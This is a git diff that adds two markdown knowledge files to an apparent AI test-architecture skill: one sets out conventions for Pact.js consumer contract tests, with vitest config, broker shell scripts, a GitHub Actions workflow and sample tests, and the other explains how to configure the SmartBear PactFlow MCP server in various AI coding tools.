@@ -0,0 +1,635 @@
+# Pact Consumer CDC — Framework Setup
+
+## Principle
+
+When scaffolding a Pact.js consumer contract testing framework, align every artifact — directory layout, vitest config, package.json scripts, shell scripts, CI workflow, and test files — with the canonical `@seontechnologies/pactjs-utils` conventions. Consistency across repositories eliminates onboarding friction and ensures CI pipelines are copy-paste portable.
+
+## Rationale
+
+The TEA framework workflow generates scaffolding for consumer-driven contract (CDC) testing. Without opinionated, battle-tested conventions, each project invents its own structure — different script names, different env var patterns, different CI step ordering — making cross-repo maintenance expensive. This fragment codifies the production-proven patterns from the pactjs-utils reference implementation so that every new project starts correctly.
+
+## Pattern Examples
+
+### Example 1: Directory Structure & File Naming
+
+**Context**: Consumer contract test project layout using pactjs-utils conventions.
+
+**Implementation**:
+
+```
+tests/contract/
+├── consumer/
+│   ├── get-filter-fields.pacttest.ts    # Consumer test (one per endpoint group)
+│   ├── filter-transactions.pacttest.ts
+│   └── get-transaction-stats.pacttest.ts
+└── support/
+    ├── pact-config.ts                   # PactV4 factory (consumer/provider names, output dir)
+    ├── provider-states.ts               # Provider state factory functions
+    └── consumer-helpers.ts              # Local shim (until pactjs-utils is published)
+
+scripts/
+├── env-setup.sh                         # Shared env loader (sourced by all broker scripts)
+├── publish-pact.sh                      # Publish pact files to broker
+├── can-i-deploy.sh                      # Deployment safety check
+└── record-deployment.sh                 # Record deployment after merge
+
+.github/
+├── actions/
+│   └── detect-breaking-change/
+│       └── action.yml                   # PR checkbox-driven breaking change detection
+└── workflows/
+    └── contract-test-consumer.yml       # Consumer CDC CI workflow
+```
+
+**Key Points**:
+
+- Consumer tests use `.pacttest.ts` extension (not `.pact.spec.ts` or `.contract.ts`)
+- Support files live in `tests/contract/support/`, not mixed with consumer tests
+- Shell scripts live in `scripts/` at project root, not nested inside test directories
+- CI workflow named `contract-test-consumer.yml` (not `pact-consumer.yml` or other variants)
+
+---
+
+### Example 2: Vitest Configuration for Pact
+
+**Context**: Minimal vitest config dedicated to contract tests — do NOT copy settings from the project's main `vitest.config.ts`.
+
+**Implementation**:
+
+```typescript
+// vitest.config.pact.ts
+import { defineConfig } from 'vitest/config';
+
+export default defineConfig({
+  test: {
+    environment: 'node',
+    include: ['tests/contract/**/*.pacttest.ts'],
+    testTimeout: 30000,
+  },
+});
+```
+
+**Key Points**:
+
+- Do NOT add `pool`, `poolOptions`, `setupFiles`, `coverage`, or other settings from the unit test config
+- Keep it minimal — Pact tests run in Node environment with extended timeout
+- 30 second timeout accommodates Pact mock server startup and interaction verification
+- Use a dedicated config file (`vitest.config.pact.ts`), not the main vitest config
+
+---
+
+### Example 3: Package.json Script Naming
+
+**Context**: Colon-separated naming matching pactjs-utils exactly. Scripts source `env-setup.sh` inline.
+
+**Implementation**:
+
+```json
+{
+  "scripts": {
+    "test:pact:consumer": "vitest run --config vitest.config.pact.ts",
+    "publish:pact": ". ./scripts/env-setup.sh && ./scripts/publish-pact.sh",
+    "can:i:deploy:consumer": ". ./scripts/env-setup.sh && PACTICIPANT=<service-name> ./scripts/can-i-deploy.sh",
+    "record:consumer:deployment": ". ./scripts/env-setup.sh && PACTICIPANT=<service-name> ./scripts/record-deployment.sh"
+  }
+}
+```
+
+Replace `<service-name>` with the consumer's pacticipant name (e.g., `my-frontend-app`).
+
+**Key Points**:
+
+- Use colon-separated naming: `test:pact:consumer`, NOT `test:contract` or `test:contract:consumer`
+- Broker scripts source `env-setup.sh` inline in package.json (`. ./scripts/env-setup.sh && ...`)
+- `PACTICIPANT` is set per-script invocation, not globally
+- Do NOT use `npx pact-broker` — use `pact-broker` directly (installed as a dependency)
+
+---
+
+### Example 4: Shell Scripts
+
+**Context**: Reusable bash scripts aligned with pactjs-utils conventions.
+
+#### `scripts/env-setup.sh` — Shared Environment Loader
+
+```bash
+#!/bin/bash
+# -e: exit on error  -u: error on undefined vars (catches typos/missing env vars in CI)
+set -eu
+
+if [ -f .env ]; then
+  set -a
+  source .env
+  set +a
+fi
+
+export GITHUB_SHA="${GITHUB_SHA:-$(git rev-parse --short HEAD)}"
+export GITHUB_BRANCH="${GITHUB_BRANCH:-$(git rev-parse --abbrev-ref HEAD)}"
+```
+
+#### `scripts/publish-pact.sh` — Publish Pacts to Broker
+
+```bash
+#!/bin/bash
+# Publish generated pact files to PactFlow/Pact Broker
+#
+# Requires: PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA, GITHUB_BRANCH
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACT_DIR="./pacts"
+
+pact-broker publish "$PACT_DIR" \
+    --consumer-app-version="$GITHUB_SHA" \
+    --branch="$GITHUB_BRANCH" \
+    --broker-base-url="$PACT_BROKER_BASE_URL" \
+    --broker-token="$PACT_BROKER_TOKEN"
+```
+
+#### `scripts/can-i-deploy.sh` — Deployment Safety Check
+
+```bash
+#!/bin/bash
+# Check if a pacticipant version can be safely deployed
+#
+# Requires: PACTICIPANT (set by caller), PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACTICIPANT="${PACTICIPANT:?PACTICIPANT env var is required}"
+ENVIRONMENT="${ENVIRONMENT:-dev}"
+
+pact-broker can-i-deploy \
+    --pacticipant "$PACTICIPANT" \
+    --version="$GITHUB_SHA" \
+    --to-environment "$ENVIRONMENT" \
+    --retry-while-unknown=10 \
+    --retry-interval=30
+```
+
+#### `scripts/record-deployment.sh` — Record Deployment
+
+```bash
+#!/bin/bash
+# Record a deployment to an environment in Pact Broker
+# Only records on main/master branch (skips feature branches)
+#
+# Requires: PACTICIPANT, PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA, GITHUB_BRANCH
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACTICIPANT="${PACTICIPANT:?PACTICIPANT env var is required}"
+
+if [ "$GITHUB_BRANCH" = "main" ] || [ "$GITHUB_BRANCH" = "master" ]; then
+  pact-broker record-deployment \
+      --pacticipant "$PACTICIPANT" \
+      --version "$GITHUB_SHA" \
+      --environment "${npm_config_env:-dev}"
+else
+  echo "Skipping record-deployment: not on main branch (current: $GITHUB_BRANCH)"
+fi
+```
+
+**Key Points**:
+
+- `env-setup.sh` uses `set -eu` (no pipefail — it only sources `.env`, no pipes); broker scripts use `set -euo pipefail`
+- Use `pact-broker` directly, NOT `npx pact-broker`
+- Use `PACTICIPANT` env var (required via `${PACTICIPANT:?...}`), not hardcoded service names
+- `can-i-deploy` includes `--retry-while-unknown=10 --retry-interval=30` (waits for provider verification)
+- `record-deployment` has branch guard (only records on main/master)
+- Do NOT invent custom env vars like `PACT_CONSUMER_VERSION` or `PACT_BREAKING_CHANGE` in scripts — those are handled by `env-setup.sh` and the CI detect-breaking-change action respectively
+
+---
+
+### Example 5: CI Workflow (`contract-test-consumer.yml`)
+
+**Context**: GitHub Actions workflow for consumer CDC, matching pactjs-utils structure exactly.
+
+**Implementation**:
+
+```yaml
+name: Contract Test - Consumer
+on:
+  pull_request:
+    types: [opened, synchronize, reopened, edited]
+  push:
+    branches: [main]
+
+env:
+  PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+  PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+  GITHUB_SHA: ${{ github.sha }}
+  GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.head_ref || github.ref }}
+  cancel-in-progress: true
+
+jobs:
+  consumer-contract-test:
+    if: github.actor != 'dependabot[bot]'
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v6
+
+      - uses: actions/setup-node@v6
+        with:
+          node-version-file: '.nvmrc'
+          cache: 'npm'
+
+      - name: Detect Pact breaking change
+        uses: ./.github/actions/detect-breaking-change
+
+      - name: Install dependencies
+        run: npm ci
+
+      # (1) Generate pact files
+      - name: Run consumer contract tests
+        run: npm run test:pact:consumer
+
+      # (2) Publish pacts to broker
+      - name: Publish pacts to PactFlow
+        run: npm run publish:pact
+
+      # After publish, PactFlow fires a webhook that triggers
+      # the provider's contract-test-provider.yml workflow.
+      # can-i-deploy retries while waiting for provider verification.
+
+      # (4) Check deployment safety (main only — on PRs, local verification is the gate)
+      - name: Can I deploy consumer? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:consumer
+
+      # (5) Record deployment (main only)
+      - name: Record consumer deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:consumer:deployment --env=dev
+```
+
+**Key Points**:
+
+- **Workflow-level `env` block** for broker secrets and git vars — not per-step
+- **`detect-breaking-change` step** runs before install to set `PACT_BREAKING_CHANGE` env var
+- **Step numbering skips (3)** — step 3 is the webhook-triggered provider verification (happens externally)
+- **can-i-deploy condition**: `github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'`
+- **Comment on (4)**: "on PRs, local verification is the gate"
+- **No upload-artifact step** — the broker is the source of truth for pact files
+- **`dependabot[bot]` skip** on the job (contract tests don't run for dependency updates)
+- **PR types include `edited`** — needed for breaking change checkbox detection in PR body
+- **`GITHUB_BRANCH`** uses `${{ github.head_ref || github.ref_name }}` — `head_ref` for PRs, `ref_name` for pushes
+
+---
+
+### Example 6: Detect Breaking Change Composite Action
+
+**Context**: GitHub composite action that reads a `[x] Pact breaking change` checkbox from the PR body.
+
+**Implementation**:
+
+Create `.github/actions/detect-breaking-change/action.yml`:
+
+```yaml
+name: 'Detect Pact Breaking Change'
+description: 'Reads the PR template checkbox to determine if this change is a Pact breaking change. Sets PACT_BREAKING_CHANGE env var.'
+
+outputs:
+  is_breaking_change:
+    description: 'Whether the change is a breaking change (true/false)'
+    value: ${{ steps.result.outputs.is_breaking_change }}
+
+runs:
+  using: 'composite'
+  steps:
+    # PR event path: read checkbox directly from current PR body.
+    - name: Set PACT_BREAKING_CHANGE from PR description (PR only)
+      if: github.event_name == 'pull_request'
+      uses: actions/github-script@v7
+      with:
+        script: |
+          const prBody = context.payload.pull_request.body || '';
+          const breakingChangePattern = /\[\s*[xX]\s*\]\s*Pact breaking change/i;
+          const isBreakingChange = breakingChangePattern.test(prBody);
+          core.exportVariable('PACT_BREAKING_CHANGE', isBreakingChange ? 'true' : 'false');
+          console.log(`PACT_BREAKING_CHANGE=${isBreakingChange ? 'true' : 'false'} (from PR description checkbox).`);
+
+    # Push-to-main path: resolve the merged PR and read the same checkbox.
+    - name: Set PACT_BREAKING_CHANGE from merged PR (push to main)
+      if: github.event_name == 'push' && github.ref == 'refs/heads/main'
+      uses: actions/github-script@v7
+      with:
+        script: |
+          const { data: prs } = await github.rest.repos.listPullRequestsAssociatedWithCommit({
+            owner: context.repo.owner,
+            repo: context.repo.repo,
+            commit_sha: context.sha,
+          });
+          const merged = prs.find(pr => pr.merged_at);
+          const mergedBody = merged?.body || '';
+          const breakingChangePattern = /\[\s*[xX]\s*\]\s*Pact breaking change/i;
+          const isBreakingChange = breakingChangePattern.test(mergedBody);
+          core.exportVariable('PACT_BREAKING_CHANGE', isBreakingChange ? 'true' : 'false');
+          console.log(`PACT_BREAKING_CHANGE=${isBreakingChange ? 'true' : 'false'} (from merged PR lookup).`);
+
+    - name: Export result
+      id: result
+      shell: bash
+      run: echo "is_breaking_change=${PACT_BREAKING_CHANGE:-false}" >> "$GITHUB_OUTPUT"
+```
+
+**Key Points**:
+
+- Two separate conditional steps (better CI log readability than single if/else)
+- PR path: reads checkbox directly from PR body
+- Push-to-main path: resolves merged PR via GitHub API, reads same checkbox
+- Exports `PACT_BREAKING_CHANGE` env var for downstream steps
+- `outputs.is_breaking_change` available for consuming workflows
+- Uses a case-insensitive checkbox regex (`/\[\s*[xX]\s*\]\s*Pact breaking change/i`) to detect checked states robustly
+
+---
+
+### Example 7: Consumer Test Using PactV4 Builder
+
+**Context**: Consumer pact test using PactV4 `addInteraction()` builder pattern. The test MUST call **real consumer code** (your actual API client/service functions) against the mock server — not raw `fetch()`. Using `fetch()` directly defeats the purpose of CDC testing because it doesn't verify your actual consumer code works with the contract.
+
+**Implementation**:
+
+The consumer code must expose a way to inject the base URL (e.g., `setApiUrl()`, constructor parameter, or environment variable). This is a prerequisite for contract testing.
+
+```typescript
+// src/api/movie-client.ts — The REAL consumer code (already exists in your project)
+import axios from 'axios';
+
+const axiosInstance = axios.create({
+  baseURL: process.env.API_URL || 'http://localhost:3001',
+});
+
+// Expose a way to override the base URL for Pact testing
+export const setApiUrl = (url: string) => {
+  axiosInstance.defaults.baseURL = url;
+};
+
+export const getMovies = async () => {
+  const res = await axiosInstance.get('/movies');
+  return res.data;
+};
+
+export const getMovieById = async (id: number) => {
+  const res = await axiosInstance.get(`/movies/${id}`);
+  return res.data;
+};
+```
+
+```typescript
+// tests/contract/consumer/get-movies.pacttest.ts
+import { MatchersV3 } from '@pact-foundation/pact';
+import type { V3MockServer } from '@pact-foundation/pact';
+import { createProviderState, setJsonBody, setJsonContent } from '../support/consumer-helpers';
+import { movieExists } from '../support/provider-states';
+import { createPact } from '../support/pact-config';
+// Import REAL consumer code — this is what we're actually testing
+import { getMovies, getMovieById, setApiUrl } from '../../../src/api/movie-client';
+
+const { like, integer, string } = MatchersV3;
+
+const pact = createPact();
+
+describe('Movies API Consumer Contract', () => {
+  const movieWithId = { id: 1, name: 'The Matrix', year: 1999, rating: 8.7, director: 'Wachowskis' };
+
+  it('should get a movie by ID', async () => {
+    const [stateName, stateParams] = createProviderState(movieExists(movieWithId));
+
+    await pact
+      .addInteraction()
+      .given(stateName, stateParams)
+      .uponReceiving('a request to get movie by ID')
+      .withRequest(
+        'GET',
+        '/movies/1',
+        setJsonContent({
+          headers: { Accept: 'application/json' },
+        }),
+      )
+      .willRespondWith(
+        200,
+        setJsonBody(
+          like({
+            id: integer(1),
+            name: string('The Matrix'),
+            year: integer(1999),
+            rating: like(8.7),
+            director: string('Wachowskis'),
+          }),
+        ),
+      )
+      .executeTest(async (mockServer: V3MockServer) => {
+        // Inject mock server URL into the REAL consumer code
+        setApiUrl(mockServer.url);
+
+        // Call the REAL consumer function — this is what CDC testing validates
+        const movie = await getMovieById(1);
+
+        expect(movie.id).toBe(1);
+        expect(movie.name).toBe('The Matrix');
+      });
+  });
+
+  it('should handle movie not found', async () => {
+    await pact
+      .addInteraction()
+      .given('No movies exist')
+      .uponReceiving('a request for a non-existent movie')
+      .withRequest('GET', '/movies/999')
+      .willRespondWith(404, setJsonBody({ error: 'Movie not found' }))
+      .executeTest(async (mockServer: V3MockServer) => {
+        setApiUrl(mockServer.url);
+
+        await expect(getMovieById(999)).rejects.toThrow();
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- **CRITICAL**: Always test your REAL consumer code — import and call actual API client functions, never raw `fetch()`
+- Using `fetch()` directly only tests that Pact's mock server works, which is meaningless
+- Consumer code MUST expose a URL injection mechanism: `setApiUrl()`, env var override, or constructor parameter
+- If the consumer code doesn't support URL injection, add it — this is a design prerequisite for CDC testing
+- Use PactV4 `addInteraction()` builder (not PactV3 fluent API with `withRequest({...})` object)
+- **Interaction naming convention**: Use the pattern `"a request to <action> <resource> [<condition>]"` for `uponReceiving()`. Examples: `"a request to get a movie by ID"`, `"a request to delete a non-existing movie"`, `"a request to create a movie that already exists"`. These names appear in Pact Broker UI and verification logs — keep them descriptive and unique within the consumer-provider pair.
+- Use `setJsonContent` for request/response builder callbacks with query/header/body concerns; use `setJsonBody` for body-only response callbacks
+- Provider state factory functions (`movieExists`) return `ProviderStateInput` objects
+- `createProviderState` converts to `[stateName, stateParams]` tuple for `.given()`
+
+**Common URL injection patterns** (pick whichever fits your consumer architecture):
+
+| Pattern              | Example                                      | Best For              |
+| -------------------- | -------------------------------------------- | --------------------- |
+| `setApiUrl(url)`     | Mutates axios instance `baseURL`             | Singleton HTTP client |
+| Constructor param    | `new ApiClient({ baseUrl: mockServer.url })` | Class-based clients   |
+| Environment variable | `process.env.API_URL = mockServer.url`       | Config-driven apps    |
+| Factory function     | `createApi({ baseUrl: mockServer.url })`     | Functional patterns   |
+
+---
+
+### Example 8: Support Files
+
+#### Pact Config Factory
+
+```typescript
+// tests/contract/support/pact-config.ts
+import path from 'node:path';
+import { PactV4 } from '@pact-foundation/pact';
+
+export const createPact = (overrides?: { consumer?: string; provider?: string }) =>
+  new PactV4({
+    dir: path.resolve(process.cwd(), 'pacts'),
+    consumer: overrides?.consumer ?? 'MyConsumerApp',
+    provider: overrides?.provider ?? 'MyProviderAPI',
+    logLevel: 'warn',
+  });
+```
+
+#### Provider State Factories
+
+```typescript
+// tests/contract/support/provider-states.ts
+import type { ProviderStateInput } from './consumer-helpers';
+
+export const movieExists = (movie: { id: number; name: string; year: number; rating: number; director: string }): ProviderStateInput => ({
+  name: 'An existing movie exists',
+  params: movie,
+});
+
+export const hasMovieWithId = (id: number): ProviderStateInput => ({
+  name: 'Has a movie with a specific ID',
+  params: { id },
+});
+```
+
+#### Local Consumer Helpers Shim
+
+```typescript
+// tests/contract/support/consumer-helpers.ts
+// TODO(temporary scaffolding): Replace local TemplateHeaders/TemplateQuery types
+// with '@seontechnologies/pactjs-utils' exports when available.
+
+type TemplateHeaders = Record<string, string | number | boolean>;
+type TemplateQueryValue = string | number | boolean | Array<string | number | boolean>;
+type TemplateQuery = Record<string, TemplateQueryValue>;
+
+export type ProviderStateInput = {
+  name: string;
+  params: Record<string, unknown>;
+};
+
+type JsonMap = { [key: string]: boolean | number | string | null | JsonMap | Array<unknown> };
+type JsonContentBuilder = {
+  headers: (headers: TemplateHeaders) => unknown;
+  jsonBody: (body: unknown) => unknown;
+  query?: (query: TemplateQuery) => unknown;
+};
+
+export type JsonContentInput = {
+  body?: unknown;
+  headers?: TemplateHeaders;
+  query?: TemplateQuery;
+};
+
+export const toJsonMap = (obj: Record<string, unknown>): JsonMap =>
+  Object.fromEntries(
+    Object.entries(obj).map(([key, value]) => {
+      if (value === null || value === undefined) return [key, 'null'];
+      if (typeof value === 'object' && !(value instanceof Date) && !Array.isArray(value)) return [key, JSON.stringify(value)];
+      if (typeof value === 'number' || typeof value === 'boolean') return [key, value];
+      if (value instanceof Date) return [key, value.toISOString()];
+      return [key, String(value)];
+    }),
+  );
+
+export const createProviderState = ({ name, params }: ProviderStateInput): [string, JsonMap] => [name, toJsonMap(params)];
+
+export const setJsonContent =
+  ({ body, headers, query }: JsonContentInput) =>
+  (builder: JsonContentBuilder): void => {
+    if (query && builder.query) {
+      builder.query(query);
+    }
+
+    if (headers) {
+      builder.headers(headers);
+    }
+
+    if (body !== undefined) {
+      builder.jsonBody(body);
+    }
+  };
+
+export const setJsonBody = (body: unknown) => setJsonContent({ body });
+```
+
+**Key Points**:
+
+- If `@seontechnologies/pactjs-utils` is not yet installed, create a local shim that mirrors the API
+- Add a TODO comment noting to swap for the published package when available
+- The shim exports `createProviderState`, `toJsonMap`, `setJsonContent`, `setJsonBody`, and helper input types
+- Keep shim types local (or sourced from public exports only); do not import from internal Pact paths like `@pact-foundation/pact/src/*`
+
+---
+
+### Example 9: .gitignore Entries
+
+**Context**: Pact-specific entries to add to `.gitignore`.
+
+```
+# Pact contract testing artifacts
+/pacts/
+pact-logs/
+```
+
+---
+
+## Validation Checklist
+
+Before presenting the consumer CDC framework to the user, verify:
+
+- [ ] `vitest.config.pact.ts` is minimal (no pool/coverage/setup copied from unit config)
+- [ ] Script names match pactjs-utils (`test:pact:consumer`, `publish:pact`, `can:i:deploy:consumer`, `record:consumer:deployment`)
+- [ ] Scripts source `env-setup.sh` inline in package.json
+- [ ] Shell scripts use `pact-broker` not `npx pact-broker`
+- [ ] Shell scripts use `PACTICIPANT` env var pattern
+- [ ] `can-i-deploy.sh` has `--retry-while-unknown=10 --retry-interval=30`
+- [ ] `record-deployment.sh` has branch guard
+- [ ] `env-setup.sh` uses `set -eu`; broker scripts use `set -euo pipefail` — each with explanatory comment
+- [ ] CI workflow named `contract-test-consumer.yml`
+- [ ] CI has workflow-level env block (not per-step)
+- [ ] CI has `detect-breaking-change` step before install
+- [ ] CI step numbering skips (3) — webhook-triggered provider verification
+- [ ] CI can-i-deploy has `PACT_BREAKING_CHANGE != 'true'` condition
+- [ ] CI has NO upload-artifact step
+- [ ] `.github/actions/detect-breaking-change/action.yml` exists
+- [ ] Consumer tests use `.pacttest.ts` extension
+- [ ] Consumer tests use PactV4 `addInteraction()` builder
+- [ ] `uponReceiving()` names follow `"a request to <action> <resource> [<condition>]"` pattern and are unique within the consumer-provider pair
+- [ ] Interaction callbacks use `setJsonContent` for query/header/body and `setJsonBody` for body-only responses
+- [ ] Request bodies use exact values (no `like()` wrapper) — Postel's Law: be strict in what you send
+- [ ] `like()`, `eachLike()`, `string()`, `integer()` matchers are only used in `willRespondWith` (responses), not in `withRequest` (requests) — matchers check type/shape, not exact values
+- [ ] Consumer tests call REAL consumer code (actual API client functions), NOT raw `fetch()`
+- [ ] Consumer code exposes URL injection mechanism (`setApiUrl()`, env var, or constructor param)
+- [ ] Local consumer-helpers shim present if pactjs-utils not installed
+- [ ] `.gitignore` includes `/pacts/` and `pact-logs/`
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — Library decision tree and installation
+- `pactjs-utils-consumer-helpers.md` — `createProviderState`, `toJsonMap`, `setJsonContent`, and `setJsonBody` API details
+- `pactjs-utils-provider-verifier.md` — Provider-side verification patterns
+- `pactjs-utils-request-filter.md` — Auth injection for provider verification
+- `contract-testing.md` — Foundational CDC patterns and resilience coverage
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pact-mcp.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pact-mcp.md
new file mode 100644
index 0000000..3badcaf
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pact-mcp.md
@@ -0,0 +1,204 @@
+# Pact MCP Server (SmartBear)
+
+## Principle
+
+Use the SmartBear MCP server to enable AI agent interaction with PactFlow/Pact Broker during contract testing workflows. The MCP server provides tools for generating pact tests, fetching provider states, reviewing test quality, and checking deployment safety — all accessible through the Model Context Protocol.
+
+## Rationale
+
+### Why MCP for contract testing?
+
+- **Live broker queries**: AI agents can fetch existing provider states, verification results, and deployment status directly from PactFlow
+- **Test generation assistance**: MCP tools generate consumer and provider tests based on existing contracts, OpenAPI specs, or templates
+- **Automated review**: MCP-powered review checks tests against best practices without manual inspection
+- **Deployment safety**: `can-i-deploy` checks integrated into agent workflows for real-time compatibility verification
+
+### When TEA uses it
+
+- **test-design workflow**: Fetch existing provider states to understand current contract landscape
+- **automate workflow**: Generate pact tests using broker knowledge and existing contracts
+- **test-review workflow**: Review pact tests against best practices with automated feedback
+- **ci workflow**: Reference can-i-deploy and matrix tools for pipeline guidance
+
+## Available Tools
+
+| #   | Tool                      | Description                                                             | When Used             |
+| --- | ------------------------- | ----------------------------------------------------------------------- | --------------------- |
+| 1   | **Generate Pact Tests**   | Create consumer/provider tests from code, OpenAPI, or templates         | automate workflow     |
+| 2   | **Fetch Provider States** | List all provider states from broker for a given consumer-provider pair | test-design, automate |
+| 3   | **Review Pact Tests**     | Analyze tests against contract testing best practices                   | test-review           |
+| 4   | **Can I Deploy**          | Check deployment safety via broker verification matrix                  | ci workflow           |
+| 5   | **Matrix**                | Query consumer-provider verification matrix                             | ci, test-design       |
+| 6   | **PactFlow AI Status**    | Check AI credits and permissions (PactFlow Cloud only)                  | diagnostics           |
+| 7   | **Metrics - All**         | Workspace-wide contract testing metrics                                 | reporting             |
+| 8   | **Metrics - Team**        | Team-level adoption statistics (PactFlow Cloud only)                    | reporting             |
+
+## Installation
+
+### Config file locations
+
+| Tool              | Global Config File                    | Format                 |
+| ----------------- | ------------------------------------- | ---------------------- |
+| Claude Code       | `~/.claude.json`                      | JSON (`mcpServers`)    |
+| Codex             | `~/.codex/config.toml`                | TOML (`[mcp_servers]`) |
+| Gemini CLI        | `~/.gemini/settings.json`             | JSON (`mcpServers`)    |
+| Cursor            | `~/.cursor/mcp.json`                  | JSON (`mcpServers`)    |
+| Windsurf          | `~/.codeium/windsurf/mcp_config.json` | JSON (`mcpServers`)    |
+| VS Code (Copilot) | `.vscode/mcp.json`                    | JSON (`servers`)       |
+
+> **Claude Code tip**: Prefer the `claude mcp add` CLI over manual JSON editing. Use `-s user` for global (all projects) or omit for per-project (default).
+
+### CLI shortcuts (Claude Code and Codex)
+
+```bash
+# Claude Code — use add-json for servers with env vars (-s user = global)
+claude mcp add-json -s user smartbear \
+  '{"type":"stdio","command":"npx","args":["-y","@smartbear/mcp@latest"],"env":{"PACT_BROKER_BASE_URL":"https://{tenant}.pactflow.io","PACT_BROKER_TOKEN":"<your-token>"}}'
+
+# Codex
+codex mcp add smartbear -- npx -y @smartbear/mcp@latest
+```
+
+### JSON config (Gemini CLI, Cursor, Windsurf)
+
+Add a `"smartbear"` entry to the `mcpServers` object in the config file for your tool:
+
+```json
+{
+  "mcpServers": {
+    "smartbear": {
+      "type": "stdio",
+      "command": "npx",
+      "args": ["-y", "@smartbear/mcp@latest"],
+      "env": {
+        "PACT_BROKER_BASE_URL": "https://{tenant}.pactflow.io",
+        "PACT_BROKER_TOKEN": "<your-api-token>"
+      }
+    }
+  }
+}
+```
+
+### Codex TOML config
+
+Codex uses TOML instead of JSON. Add to `~/.codex/config.toml`:
+
+```toml
+[mcp_servers.smartbear]
+command = "npx"
+args = ["-y", "@smartbear/mcp@latest"]
+
+[mcp_servers.smartbear.env]
+PACT_BROKER_BASE_URL = "https://{tenant}.pactflow.io"
+PACT_BROKER_TOKEN = "<your-api-token>"
+```
+
+Note the key is `mcp_servers` (underscored), not `mcpServers`.
+
+### VS Code (GitHub Copilot)
+
+Add to `.vscode/mcp.json` (note: uses `servers` key, not `mcpServers`):
+
+```json
+{
+  "servers": {
+    "smartbear": {
+      "type": "stdio",
+      "command": "npx",
+      "args": ["-y", "@smartbear/mcp@latest"],
+      "env": {
+        "PACT_BROKER_BASE_URL": "https://{tenant}.pactflow.io",
+        "PACT_BROKER_TOKEN": "${input:pactToken}"
+      }
+    }
+  }
+}
+```
+
+> **Note**: Set either `PACT_BROKER_TOKEN` (for PactFlow) or `PACT_BROKER_USERNAME`+`PACT_BROKER_PASSWORD` (for self-hosted). Leave unused vars empty.
+
+## Required Environment Variables
+
+| Variable               | Required                     | Description                             |
+| ---------------------- | ---------------------------- | --------------------------------------- |
+| `PACT_BROKER_BASE_URL` | Yes (for Pact features)      | PactFlow or self-hosted Pact Broker URL |
+| `PACT_BROKER_TOKEN`    | For PactFlow / token auth    | API token for broker authentication     |
+| `PACT_BROKER_USERNAME` | For basic auth (self-hosted) | Username for basic authentication       |
+| `PACT_BROKER_PASSWORD` | For basic auth (self-hosted) | Password for basic authentication       |
+
+**Authentication**: Use token auth (`PACT_BROKER_TOKEN`) for PactFlow. Use basic auth (`PACT_BROKER_USERNAME` + `PACT_BROKER_PASSWORD`) for self-hosted Pact Broker instances. Only one auth method is needed.
+
+**Requirements**: Node.js 20+
+
+## Pattern Examples
+
+### Example 1: Fetching Provider States During Test Design
+
+When designing contract tests, use MCP to query existing provider states:
+
+```
+# Agent queries SmartBear MCP during test-design workflow:
+# → Fetch Provider States for consumer="movie-web", provider="SampleMoviesAPI"
+# ← Returns: ["movie with id 1 exists", "no movies exist", "user is authenticated"]
+#
+# Agent uses this to generate comprehensive consumer tests covering all states
+```
+
+### Example 2: Reviewing Pact Tests
+
+During test-review workflow, use MCP to evaluate test quality:
+
+```
+# Agent submits test file to SmartBear MCP Review tool:
+# → Review Pact Tests with test file content
+# ← Returns: feedback on matcher usage, state coverage, interaction naming
+#
+# Agent incorporates feedback into review report
+```
+
+### Example 3: Can I Deploy Check in CI
+
+During CI workflow design, reference the can-i-deploy tool:
+
+```
+# Agent generates CI pipeline with can-i-deploy gate:
+# → Can I Deploy: pacticipant="SampleMoviesAPI", version="${GITHUB_SHA}", to="production"
+# ← Returns: { ok: true/false, reason: "..." }
+#
+# Agent designs pipeline to block deployment if can-i-deploy fails
+```
+
+## Key Points
+
+- **Per-project install recommended**: Different projects may target different PactFlow tenants — match TEA's per-project config philosophy
+- **Env vars are project-specific**: `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` vary by project/team
+- **Node.js 20+ required**: SmartBear MCP server requires Node.js 20 or higher
+- **PactFlow Cloud features**: Some tools (AI Status, Team Metrics) are only available with PactFlow Cloud, not self-hosted Pact Broker
+- **Complements pactjs-utils**: MCP provides broker interaction during design/review; pactjs-utils provides runtime utilities for test code
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — runtime utilities that pact tests import
+- `pactjs-utils-provider-verifier.md` — verifier options that reference broker config
+- `contract-testing.md` — foundational contract testing patterns
+
+## Anti-Patterns
+
+### Wrong: Using MCP for runtime test execution
+
+```
+# ❌ Don't use MCP to run pact tests — use npm scripts and CI pipelines
+# MCP is for agent-assisted design, generation, and review
+```
+
+### Right: Use MCP for design-time assistance
+
+```
+# ✅ Use MCP during planning and review:
+# - Fetch provider states to inform test design
+# - Generate test scaffolds from existing contracts
+# - Review tests for best practice compliance
+# - Check can-i-deploy during CI pipeline design
+```
+
+_Source: SmartBear MCP documentation, PactFlow developer docs_
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pactjs-utils-consumer-helpers.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/pactjs-utils-consumer-helpers.md
new file mode 100644
